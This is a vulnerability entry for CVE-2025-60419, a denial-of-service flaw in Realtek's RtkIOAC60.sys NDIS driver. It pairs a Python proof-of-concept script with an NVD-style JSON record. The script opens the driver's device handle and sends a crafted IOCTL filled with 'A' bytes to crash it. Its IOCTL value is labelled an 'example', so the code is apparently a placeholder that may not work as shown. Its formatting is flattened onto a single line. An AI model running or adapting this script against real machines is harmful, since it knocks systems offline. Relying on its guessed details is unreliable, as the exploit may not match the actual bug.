CVE-2025-60419

import ctypes import sys from ctypes import wintypes # Windows API definitions GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 FILE_SHARE_READ = 0x00000001 FILE_SHARE_WRITE = 0x00000002 OPEN_EXISTING = 3 INVALID_HANDLE_VALUE = -1 # IOCTL code for NDIS driver communication IOCTL_RTKIO_BASE = 0x88000000 IOCTL_RTKIO_MALICIOUS_REQUEST = 0x8800FFF0 # Example IOCTL code # Load Windows libraries kernel32 = ctypes.windll.kernel32 def create_handle_to_driver(): """Open a handle to the Realtek NDIS driver""" device_name = "\\\\.\\RtkIOAC60" handle = kernel32.CreateFileA( device_name.encode(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, None, OPEN_EXISTING, 0, None ) return handle def send_malicious_ioctl(handle): """Send crafted IOCTL request to trigger DoS""" if handle == INVALID_HANDLE_VALUE: print("[-] Failed to open driver handle") return False # Malicious input buffer - crafted to trigger vulnerability input_buffer = (ctypes.c_byte * 256)(*([0x41] * 256)) # Fill with 'A' output_buffer = (ctypes.c_byte * 256)() bytes_returned = wintypes.DWORD() result = kernel32.DeviceIoControl( handle, IOCTL_RTKIO_MALICIOUS_REQUEST, ctypes.byref(input_buffer), len(input_buffer), ctypes.byref(output_buffer), len(output_buffer), ctypes.byref(bytes_returned), None ) return result != 0 def main(): print("[*] CVE-2025-60419 PoC - Realtek RtkIOAC60.sys DoS") print("[*] Opening driver handle...") handle = create_handle_to_driver() if handle != INVALID_HANDLE_VALUE: print("[+] Driver handle opened successfully") print("[*] Sending malicious IOCTL request...") if send_malicious_ioctl(handle): print("[+] IOCTL request sent") else: print("[-] IOCTL request failed (driver may have crashed)") kernel32.CloseHandle(handle) else: print("[-] Could not open driver handle") print("[*] Note: Run as administrator or check if driver is loaded") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-60419", "sourceIdentifier": "[email protected]", "published": "2025-10-24T20:16:30.717", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in the NDIS Usermode IO driver (RtkIOAC60.sys, version 6.0.5600.16348) allowing local authenticated attackers to send a crafted IOCTL request to the driver to cause a denial of service."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "references": [{"url": "http://ndis.com", "source": "[email protected]"}, {"url": "http://realtek.com", "source": "[email protected]"}, {"url": "https://splineuser.github.io/posts/RTKVuln/", "source": "[email protected]"}]}}